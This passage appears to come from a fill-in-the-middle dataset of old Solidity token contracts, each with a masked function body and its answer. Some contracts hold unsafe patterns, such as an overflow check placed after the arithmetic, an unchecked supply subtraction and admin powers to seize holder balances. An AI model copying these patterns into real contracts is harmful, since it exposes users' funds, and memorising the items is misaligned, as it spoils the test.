contract ERC20 is ERC { uint public totalSupply; string public name; string public symbol; uint8 public decimals; address public owner; uint token; mapping(address=>uint) balance; mapping (address => mapping (address => uint)) allowed; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function ERC20() public {<FILL_FUNCTION_BODY> } modifier checkAdmin(){ if (msg.sender!=owner)revert(); _; } function totalSupply() constant public returns (uint _totalSupply){ return totalSupply; } function balanceOf(address _owner) constant public returns (uint _balance ){ return balance[_owner]; } function transfer(address _to, uint _value) public returns (bool _success){ if(_to==address(0))revert(); if(balance[msg.sender]<_value||_value==0)revert(); token =_value; balance[msg.sender]-=token; balance[_to]+=token; if(balance[_to]+_value<balance[_to]) revert(); Transfer(msg.sender,_to,token); return true; } function allowance(address _owner, address _spender) public constant returns (uint _remaining){ return allowed[_owner][_spender]; } function approve(address _spender, uint _value) public returns (bool _success){ allowed[msg.sender][_spender]=_value; Approval(msg.sender,_spender,_value); return true; } function transferFrom(address _from, address _to, uint _value) public returns (bool _success){ if(_to==address(0))revert(); if(balance[_from] < _value)revert(); if(allowed[_from][msg.sender] ==0)revert(); if(allowed[_from][msg.sender] >=_value){ allowed[_from][msg.sender]-=_value; if(balance[_to]+_value<balance[_to]) revert(); balance[_from]-=_value; balance[_to]+=_value; Transfer(msg.sender,_to,_value); return true; } else{ revert(); } } function() payable { uint amount1=2500*msg.value; amount1=amount1/1 ether; balance[msg.sender]+=amount1; totalSupply-=amount1; } function kill()checkAdmin returns(bool _success){ selfdestruct(owner); return true; } }
contract ERC20 is ERC { uint public totalSupply; string public name; string public symbol; uint8 public decimals; address public owner; uint token; mapping(address=>uint) balance; mapping (address => mapping (address => uint)) allowed; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); <FILL_FUNCTION> modifier checkAdmin(){ if (msg.sender!=owner)revert(); _; } function totalSupply() constant public returns (uint _totalSupply){ return totalSupply; } function balanceOf(address _owner) constant public returns (uint _balance ){ return balance[_owner]; } function transfer(address _to, uint _value) public returns (bool _success){ if(_to==address(0))revert(); if(balance[msg.sender]<_value||_value==0)revert(); token =_value; balance[msg.sender]-=token; balance[_to]+=token; if(balance[_to]+_value<balance[_to]) revert(); Transfer(msg.sender,_to,token); return true; } function allowance(address _owner, address _spender) public constant returns (uint _remaining){ return allowed[_owner][_spender]; } function approve(address _spender, uint _value) public returns (bool _success){ allowed[msg.sender][_spender]=_value; Approval(msg.sender,_spender,_value); return true; } function transferFrom(address _from, address _to, uint _value) public returns (bool _success){ if(_to==address(0))revert(); if(balance[_from] < _value)revert(); if(allowed[_from][msg.sender] ==0)revert(); if(allowed[_from][msg.sender] >=_value){ allowed[_from][msg.sender]-=_value; if(balance[_to]+_value<balance[_to]) revert(); balance[_from]-=_value; balance[_to]+=_value; Transfer(msg.sender,_to,_value); return true; } else{ revert(); } } function() payable { uint amount1=2500*msg.value; amount1=amount1/1 ether; balance[msg.sender]+=amount1; totalSupply-=amount1; } function kill()checkAdmin returns(bool _success){ selfdestruct(owner); return true; } }
owner=msg.sender; totalSupply=1000000000; name="Aasim"; symbol="AA"; decimals=18;
function ERC20() public
function ERC20() public
37,868
AsiaModelFestival
transfer
contract AsiaModelFestival is BurnableToken,FreezeToken, DetailedERC20, ERC20Token,Pausable{ using SafeMath for uint256; event Approval(address indexed owner, address indexed spender, uint256 value); event LockerChanged(address indexed owner, uint256 amount); event Recall(address indexed owner, uint256 amount); event TimeLockerChanged(address indexed owner, uint256 time, uint256 amount); event TimeLockerChangedTime(address indexed owner, uint256 time); event TimeLockerChangedBalance(address indexed owner, uint256 amount); mapping(address => uint) public locker; mapping(address => uint) public time; mapping(address => uint) public timeLocker; mapping(address => uint) public unLockAmount; string public s_symbol = "AMF"; string public s_name = "Asia Model Festival"; uint8 public s_decimals = 18; uint256 public TOTAL_SUPPLY = 40*(10**8)*(10**uint256(s_decimals)); constructor() DetailedERC20(s_name, s_symbol, s_decimals) public { _totalSupply = TOTAL_SUPPLY; balances[owner] = _totalSupply; emit Transfer(address(0x0), msg.sender, _totalSupply); } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool){<FILL_FUNCTION_BODY> } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool){ balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function lockOf(address _address) public view returns (uint256 _locker) { return locker[_address]; } function setLock(address _address, uint256 _value) public onlyOwnerOrAdmin { require(_value <= _totalSupply &&_address != address(0)); locker[_address] = _value; emit LockerChanged(_address, _value); } function setUnLock(address _address, uint256 _value) public onlyOwnerOrAdmin { require(_value <= _totalSupply &&_address != address(0)); locker[_address] = locker[_address].sub(_value); emit LockerChanged(_address, _value); } function recall(address _from, uint256 _amount) public onlyOwnerOrAdmin { require(_amount > 0); uint256 currentLocker = locker[_from]; uint256 currentBalance = balances[_from]; require(currentLocker >= _amount && currentBalance >= _amount); uint256 newLock = currentLocker.sub(_amount); locker[_from] = newLock; emit LockerChanged(_from, newLock); balances[_from] = balances[_from].sub(_amount); balances[owner] = balances[owner].add(_amount); emit Transfer(_from, owner, _amount); emit Recall(_from, _amount); } function transferList(address[] _recipients, uint256[] _balances) public onlyOwnerOrAdmin{ require(_recipients.length == _balances.length); for (uint i=0; i < _recipients.length; i++) { balances[msg.sender] = balances[msg.sender].sub(_balances[i]); balances[_recipients[i]] = balances[_recipients[i]].add(_balances[i]); emit Transfer(msg.sender,_recipients[i],_balances[i]); } } function setLockList(address[] _recipients, uint256[] _balances) public onlyOwnerOrAdmin{ require(_recipients.length == _balances.length); for (uint i=0; i < _recipients.length; i++) { locker[_recipients[i]] = _balances[i]; emit LockerChanged(_recipients[i], _balances[i]); } } function timeLock(address _address,uint256 _time, uint256 _value) public onlyOwnerOrAdmin{ require(_address != address(0)); uint256 unlockAmount = _value.div(10); time[_address] = _time; timeLocker[_address] = timeLocker[_address].add(_value); unLockAmount[_address] = unLockAmount[_address].add(unlockAmount); emit TimeLockerChanged(_address,_time,_value); } function lockTimeOf(address _address) public view returns (uint256 _time) { return time[_address]; } function lockTimeAmountOf(address _address) public view returns (uint256 _value) { return unLockAmount[_address]; } function lockTimeBalanceOf(address _address) public view returns (uint256 _value) { return timeLocker[_address]; } function untimeLock(address _address) public onlyOwnerOrAdmin{ require(_address != address(0)); require(time[_address] <= now); require(timeLocker[_address] >= 0); uint256 unlockAmount = unLockAmount[_address]; uint256 nextTime = time[_address] + 30 days; time[_address] = nextTime; timeLocker[_address] = timeLocker[_address].sub(unlockAmount); emit TimeLockerChanged(_address,nextTime,unlockAmount); } function timeLockList(address[] _recipients,uint256[] _time, uint256[] _value) public onlyOwnerOrAdmin{ require(_recipients.length == _value.length && _recipients.length == _time.length); for (uint i=0; i < _recipients.length; i++) { uint256 unlockAmount = _value[i].div(10); time[_recipients[i]] = _time[i]; timeLocker[_recipients[i]] = timeLocker[_recipients[i]].add(_value[i]); unLockAmount[_recipients[i]] = unLockAmount[_recipients[i]].add(unlockAmount); emit TimeLockerChanged(_recipients[i],_time[i],_value[i]); } } function unTimeLockList(address[] _recipients) public onlyOwnerOrAdmin{ for (uint i=0; i < _recipients.length; i++) { uint256 unlockAmount = unLockAmount[_recipients[i]]; if(timeLocker[_recipients[i]].sub(unlockAmount) >= 0){ uint256 nextTime = now + 30 days; time[_recipients[i]] = nextTime; timeLocker[_recipients[i]] = timeLocker[_recipients[i]].sub(unlockAmount); emit TimeLockerChanged(_recipients[i],nextTime,unlockAmount); } } } function timeLockSetTime(address _address,uint256 _time) public onlyOwnerOrAdmin{ require(_address != address(0)); time[_address] = _time; emit TimeLockerChangedTime(_address,_time); } function timeLockSetBalance(address _address,uint256 _value) public onlyOwnerOrAdmin{ require(_address != address(0)); timeLocker[_address] = _value; emit TimeLockerChangedBalance(_address,_value); } function() public payable { revert(); } }
contract AsiaModelFestival is BurnableToken,FreezeToken, DetailedERC20, ERC20Token,Pausable{ using SafeMath for uint256; event Approval(address indexed owner, address indexed spender, uint256 value); event LockerChanged(address indexed owner, uint256 amount); event Recall(address indexed owner, uint256 amount); event TimeLockerChanged(address indexed owner, uint256 time, uint256 amount); event TimeLockerChangedTime(address indexed owner, uint256 time); event TimeLockerChangedBalance(address indexed owner, uint256 amount); mapping(address => uint) public locker; mapping(address => uint) public time; mapping(address => uint) public timeLocker; mapping(address => uint) public unLockAmount; string public s_symbol = "AMF"; string public s_name = "Asia Model Festival"; uint8 public s_decimals = 18; uint256 public TOTAL_SUPPLY = 40*(10**8)*(10**uint256(s_decimals)); constructor() DetailedERC20(s_name, s_symbol, s_decimals) public { _totalSupply = TOTAL_SUPPLY; balances[owner] = _totalSupply; emit Transfer(address(0x0), msg.sender, _totalSupply); } <FILL_FUNCTION> function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool){ balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function lockOf(address _address) public view returns (uint256 _locker) { return locker[_address]; } function setLock(address _address, uint256 _value) public onlyOwnerOrAdmin { require(_value <= _totalSupply &&_address != address(0)); locker[_address] = _value; emit LockerChanged(_address, _value); } function setUnLock(address _address, uint256 _value) public onlyOwnerOrAdmin { require(_value <= _totalSupply &&_address != address(0)); locker[_address] = locker[_address].sub(_value); emit LockerChanged(_address, _value); } function recall(address _from, uint256 _amount) public onlyOwnerOrAdmin { require(_amount > 0); uint256 currentLocker = locker[_from]; uint256 currentBalance = balances[_from]; require(currentLocker >= _amount && currentBalance >= _amount); uint256 newLock = currentLocker.sub(_amount); locker[_from] = newLock; emit LockerChanged(_from, newLock); balances[_from] = balances[_from].sub(_amount); balances[owner] = balances[owner].add(_amount); emit Transfer(_from, owner, _amount); emit Recall(_from, _amount); } function transferList(address[] _recipients, uint256[] _balances) public onlyOwnerOrAdmin{ require(_recipients.length == _balances.length); for (uint i=0; i < _recipients.length; i++) { balances[msg.sender] = balances[msg.sender].sub(_balances[i]); balances[_recipients[i]] = balances[_recipients[i]].add(_balances[i]); emit Transfer(msg.sender,_recipients[i],_balances[i]); } } function setLockList(address[] _recipients, uint256[] _balances) public onlyOwnerOrAdmin{ require(_recipients.length == _balances.length); for (uint i=0; i < _recipients.length; i++) { locker[_recipients[i]] = _balances[i]; emit LockerChanged(_recipients[i], _balances[i]); } } function timeLock(address _address,uint256 _time, uint256 _value) public onlyOwnerOrAdmin{ require(_address != address(0)); uint256 unlockAmount = _value.div(10); time[_address] = _time; timeLocker[_address] = timeLocker[_address].add(_value); unLockAmount[_address] = unLockAmount[_address].add(unlockAmount); emit TimeLockerChanged(_address,_time,_value); } function lockTimeOf(address _address) public view returns (uint256 _time) { return time[_address]; } function lockTimeAmountOf(address _address) public view returns (uint256 _value) { return unLockAmount[_address]; } function lockTimeBalanceOf(address _address) public view returns (uint256 _value) { return timeLocker[_address]; } function untimeLock(address _address) public onlyOwnerOrAdmin{ require(_address != address(0)); require(time[_address] <= now); require(timeLocker[_address] >= 0); uint256 unlockAmount = unLockAmount[_address]; uint256 nextTime = time[_address] + 30 days; time[_address] = nextTime; timeLocker[_address] = timeLocker[_address].sub(unlockAmount); emit TimeLockerChanged(_address,nextTime,unlockAmount); } function timeLockList(address[] _recipients,uint256[] _time, uint256[] _value) public onlyOwnerOrAdmin{ require(_recipients.length == _value.length && _recipients.length == _time.length); for (uint i=0; i < _recipients.length; i++) { uint256 unlockAmount = _value[i].div(10); time[_recipients[i]] = _time[i]; timeLocker[_recipients[i]] = timeLocker[_recipients[i]].add(_value[i]); unLockAmount[_recipients[i]] = unLockAmount[_recipients[i]].add(unlockAmount); emit TimeLockerChanged(_recipients[i],_time[i],_value[i]); } } function unTimeLockList(address[] _recipients) public onlyOwnerOrAdmin{ for (uint i=0; i < _recipients.length; i++) { uint256 unlockAmount = unLockAmount[_recipients[i]]; if(timeLocker[_recipients[i]].sub(unlockAmount) >= 0){ uint256 nextTime = now + 30 days; time[_recipients[i]] = nextTime; timeLocker[_recipients[i]] = timeLocker[_recipients[i]].sub(unlockAmount); emit TimeLockerChanged(_recipients[i],nextTime,unlockAmount); } } } function timeLockSetTime(address _address,uint256 _time) public onlyOwnerOrAdmin{ require(_address != address(0)); time[_address] = _time; emit TimeLockerChangedTime(_address,_time); } function timeLockSetBalance(address _address,uint256 _value) public onlyOwnerOrAdmin{ require(_address != address(0)); timeLocker[_address] = _value; emit TimeLockerChangedBalance(_address,_value); } function() public payable { revert(); } }
require(balances[msg.sender].sub(_value) >= locker[msg.sender].add(timeLocker[msg.sender])); return super.transfer(_to, _value);
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool)
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool)
44,010
EthereumUltimate
EthereumUltimate
contract EthereumUltimate { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint256 public funds; address public director; bool public saleClosed; bool public directorLock; uint256 public claimAmount; uint256 public payAmount; uint256 public feeAmount; uint256 public epoch; uint256 public retentionMax; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public buried; mapping (address => uint256) public claimed; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed _from, uint256 _value); event Bury(address indexed _target, uint256 _value); event Claim(address indexed _target, address indexed _payout, address indexed _fee); function EthereumUltimate() public {<FILL_FUNCTION_BODY> } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } modifier onlyDirector { require(!directorLock); require(msg.sender == director); _; } modifier onlyDirectorForce { require(msg.sender == director); _; } function transferDirector(address newDirector) public onlyDirectorForce { director = newDirector; } function withdrawFunds() public onlyDirectorForce { director.transfer(this.balance); } function selfLock() public payable onlyDirector { require(saleClosed); require(msg.value == 10 ether); directorLock = true; } function amendClaim(uint8 claimAmountSet, uint8 payAmountSet, uint8 feeAmountSet, uint8 accuracy) public onlyDirector returns (bool success) { require(claimAmountSet == (payAmountSet + feeAmountSet)); claimAmount = claimAmountSet * 10 ** (uint256(decimals) - accuracy); payAmount = payAmountSet * 10 ** (uint256(decimals) - accuracy); feeAmount = feeAmountSet * 10 ** (uint256(decimals) - accuracy); return true; } function amendEpoch(uint256 epochSet) public onlyDirector returns (bool success) { // Set the epoch epoch = epochSet; return true; } function amendRetention(uint8 retentionSet, uint8 accuracy) public onlyDirector returns (bool success) { // Set retentionMax retentionMax = retentionSet * 10 ** (uint256(decimals) - accuracy); return true; } function closeSale() public onlyDirector returns (bool success) { // The sale must be currently open require(!saleClosed); // Lock the crowdsale saleClosed = true; return true; } function openSale() public onlyDirector returns (bool success) { // The sale must be currently closed require(saleClosed); // Unlock the crowdsale saleClosed = false; return true; } function bury() public returns (bool success) { // The address must be previously unburied require(!buried[msg.sender]); // An address must have at least claimAmount to be buried require(balances[msg.sender] >= claimAmount); // Prevent addresses with large balances from getting buried require(balances[msg.sender] <= retentionMax); // Set buried state to true buried[msg.sender] = true; // Set the initial claim clock to 1 claimed[msg.sender] = 1; // Execute an event reflecting the change Bury(msg.sender, balances[msg.sender]); return true; } function claim(address _payout, address _fee) public returns (bool success) { // The claimed address must have already been buried require(buried[msg.sender]); // The payout and fee addresses must be different require(_payout != _fee); // The claimed address cannot pay itself require(msg.sender != _payout); // The claimed address cannot pay itself require(msg.sender != _fee); // It must be either the first time this address is being claimed or atleast epoch in time has passed require(claimed[msg.sender] == 1 || (block.timestamp - claimed[msg.sender]) >= epoch); // Check if the buried address has enough require(balances[msg.sender] >= claimAmount); // Reset the claim clock to the current block time claimed[msg.sender] = block.timestamp; // Save this for an assertion in the future uint256 previousBalances = balances[msg.sender] + balances[_payout] + balances[_fee]; // Remove claimAmount from the buried address balances[msg.sender] -= claimAmount; // Pay the website owner that invoked the web node that found the ETHT seed key balances[_payout] += payAmount; // Pay the broker node that unlocked the ETHUT balances[_fee] += feeAmount; // Execute events to reflect the changes Claim(msg.sender, _payout, _fee); Transfer(msg.sender, _payout, payAmount); Transfer(msg.sender, _fee, feeAmount); // Failsafe logic that should never be false assert(balances[msg.sender] + balances[_payout] + balances[_fee] == previousBalances); return true; } /** * Crowdsale function */ function () public payable { require(!saleClosed); // Minimum amount is 1 finney require(msg.value >= 1 finney); // Price is 1 ETH = 10000 ETHT uint256 amount = msg.value * 30000; // Supply cap may increase require(totalSupply + amount <= (10000000 * 10 ** uint256(decimals))); // Increases the total supply totalSupply += amount; // Adds the amount to the balance balances[msg.sender] += amount; // Track ETH amount raised funds += msg.value; // Execute an event reflecting the change Transfer(this, msg.sender, amount); } function _transfer(address _from, address _to, uint _value) internal { // Sending addresses cannot be buried require(!buried[_from]); // If the receiving address is buried, it cannot exceed retentionMax if (buried[_to]) { require(balances[_to] + _value <= retentionMax); } require(_to != 0x0); require(balances[_from] >= _value); require(balances[_to] + _value > balances[_to]); uint256 previousBalances = balances[_from] + balances[_to]; balances[_from] -= _value; balances[_to] += _value; Transfer(_from, _to, _value); assert(balances[_from] + balances[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { // Check allowance require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // Buried addresses cannot be approved require(!buried[msg.sender]); allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { // Buried addresses cannot be burnt require(!buried[msg.sender]); // Check if the sender has enough require(balances[msg.sender] >= _value); // Subtract from the sender balances[msg.sender] -= _value; // Updates totalSupply totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { // Buried addresses cannot be burnt require(!buried[_from]); // Check if the targeted balance is enough require(balances[_from] >= _value); // Check allowance require(_value <= allowance[_from][msg.sender]); // Subtract from the targeted balance balances[_from] -= _value; // Subtract from the sender's allowance allowance[_from][msg.sender] -= _value; // Update totalSupply totalSupply -= _value; Burn(_from, _value); return true; } }
contract EthereumUltimate { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint256 public funds; address public director; bool public saleClosed; bool public directorLock; uint256 public claimAmount; uint256 public payAmount; uint256 public feeAmount; uint256 public epoch; uint256 public retentionMax; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public buried; mapping (address => uint256) public claimed; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed _from, uint256 _value); event Bury(address indexed _target, uint256 _value); event Claim(address indexed _target, address indexed _payout, address indexed _fee); <FILL_FUNCTION> function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } modifier onlyDirector { require(!directorLock); require(msg.sender == director); _; } modifier onlyDirectorForce { require(msg.sender == director); _; } function transferDirector(address newDirector) public onlyDirectorForce { director = newDirector; } function withdrawFunds() public onlyDirectorForce { director.transfer(this.balance); } function selfLock() public payable onlyDirector { require(saleClosed); require(msg.value == 10 ether); directorLock = true; } function amendClaim(uint8 claimAmountSet, uint8 payAmountSet, uint8 feeAmountSet, uint8 accuracy) public onlyDirector returns (bool success) { require(claimAmountSet == (payAmountSet + feeAmountSet)); claimAmount = claimAmountSet * 10 ** (uint256(decimals) - accuracy); payAmount = payAmountSet * 10 ** (uint256(decimals) - accuracy); feeAmount = feeAmountSet * 10 ** (uint256(decimals) - accuracy); return true; } function amendEpoch(uint256 epochSet) public onlyDirector returns (bool success) { // Set the epoch epoch = epochSet; return true; } function amendRetention(uint8 retentionSet, uint8 accuracy) public onlyDirector returns (bool success) { // Set retentionMax retentionMax = retentionSet * 10 ** (uint256(decimals) - accuracy); return true; } function closeSale() public onlyDirector returns (bool success) { // The sale must be currently open require(!saleClosed); // Lock the crowdsale saleClosed = true; return true; } function openSale() public onlyDirector returns (bool success) { // The sale must be currently closed require(saleClosed); // Unlock the crowdsale saleClosed = false; return true; } function bury() public returns (bool success) { // The address must be previously unburied require(!buried[msg.sender]); // An address must have at least claimAmount to be buried require(balances[msg.sender] >= claimAmount); // Prevent addresses with large balances from getting buried require(balances[msg.sender] <= retentionMax); // Set buried state to true buried[msg.sender] = true; // Set the initial claim clock to 1 claimed[msg.sender] = 1; // Execute an event reflecting the change Bury(msg.sender, balances[msg.sender]); return true; } function claim(address _payout, address _fee) public returns (bool success) { // The claimed address must have already been buried require(buried[msg.sender]); // The payout and fee addresses must be different require(_payout != _fee); // The claimed address cannot pay itself require(msg.sender != _payout); // The claimed address cannot pay itself require(msg.sender != _fee); // It must be either the first time this address is being claimed or atleast epoch in time has passed require(claimed[msg.sender] == 1 || (block.timestamp - claimed[msg.sender]) >= epoch); // Check if the buried address has enough require(balances[msg.sender] >= claimAmount); // Reset the claim clock to the current block time claimed[msg.sender] = block.timestamp; // Save this for an assertion in the future uint256 previousBalances = balances[msg.sender] + balances[_payout] + balances[_fee]; // Remove claimAmount from the buried address balances[msg.sender] -= claimAmount; // Pay the website owner that invoked the web node that found the ETHT seed key balances[_payout] += payAmount; // Pay the broker node that unlocked the ETHUT balances[_fee] += feeAmount; // Execute events to reflect the changes Claim(msg.sender, _payout, _fee); Transfer(msg.sender, _payout, payAmount); Transfer(msg.sender, _fee, feeAmount); // Failsafe logic that should never be false assert(balances[msg.sender] + balances[_payout] + balances[_fee] == previousBalances); return true; } /** * Crowdsale function */ function () public payable { require(!saleClosed); // Minimum amount is 1 finney require(msg.value >= 1 finney); // Price is 1 ETH = 10000 ETHT uint256 amount = msg.value * 30000; // Supply cap may increase require(totalSupply + amount <= (10000000 * 10 ** uint256(decimals))); // Increases the total supply totalSupply += amount; // Adds the amount to the balance balances[msg.sender] += amount; // Track ETH amount raised funds += msg.value; // Execute an event reflecting the change Transfer(this, msg.sender, amount); } function _transfer(address _from, address _to, uint _value) internal { // Sending addresses cannot be buried require(!buried[_from]); // If the receiving address is buried, it cannot exceed retentionMax if (buried[_to]) { require(balances[_to] + _value <= retentionMax); } require(_to != 0x0); require(balances[_from] >= _value); require(balances[_to] + _value > balances[_to]); uint256 previousBalances = balances[_from] + balances[_to]; balances[_from] -= _value; balances[_to] += _value; Transfer(_from, _to, _value); assert(balances[_from] + balances[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { // Check allowance require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // Buried addresses cannot be approved require(!buried[msg.sender]); allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { // Buried addresses cannot be burnt require(!buried[msg.sender]); // Check if the sender has enough require(balances[msg.sender] >= _value); // Subtract from the sender balances[msg.sender] -= _value; // Updates totalSupply totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { // Buried addresses cannot be burnt require(!buried[_from]); // Check if the targeted balance is enough require(balances[_from] >= _value); // Check allowance require(_value <= allowance[_from][msg.sender]); // Subtract from the targeted balance balances[_from] -= _value; // Subtract from the sender's allowance allowance[_from][msg.sender] -= _value; // Update totalSupply totalSupply -= _value; Burn(_from, _value); return true; } }
director = msg.sender; name = "Ethereum Ultimate"; symbol = "ETHUT"; decimals = 18; saleClosed = false; directorLock = false; funds = 0; totalSupply = 0; totalSupply += 1000000 * 10 ** uint256(decimals); // Assign reserved ETHUT supply to the director balances[director] = totalSupply; // Define default values for Ethereum Ultimate functions claimAmount = 5 * 10 ** (uint256(decimals) - 1); payAmount = 4 * 10 ** (uint256(decimals) - 1); feeAmount = 1 * 10 ** (uint256(decimals) - 1); // Seconds in a year epoch = 31536000; retentionMax = 40 * 10 ** uint256(decimals);
function EthereumUltimate() public
function EthereumUltimate() public
66,549
TIMEOUTTOKEN
null
contract TIMEOUTTOKEN is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "TIME OUT TOKEN"; string public constant symbol = "TOT"; uint public constant decimals = 8; uint public deadline = now + 200 * 1 days; uint public round2 = now + 50 * 1 days; uint public round1 = now + 150 * 1 days; uint256 public totalSupply = 150000000e8; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 10000e8; // 0.01 Ether uint256 public tokensPerEth = 1000000e8; uint public target0drop = 2000; uint public progress0drop = 0; //here u will write your ether address address multisig = 0xE2FCC0d51a09CcBb0CD84A9b4eABB2AFec531E4E; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public {<FILL_FUNCTION_BODY> } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 10; uint256 bonusCond2 = 5 ether / 10; uint256 bonusCond3 = 1 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 10 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 20 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 35 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 2 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 3 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 7e8; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } //here we will send all wei to your address multisig.transfer(msg.value); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = 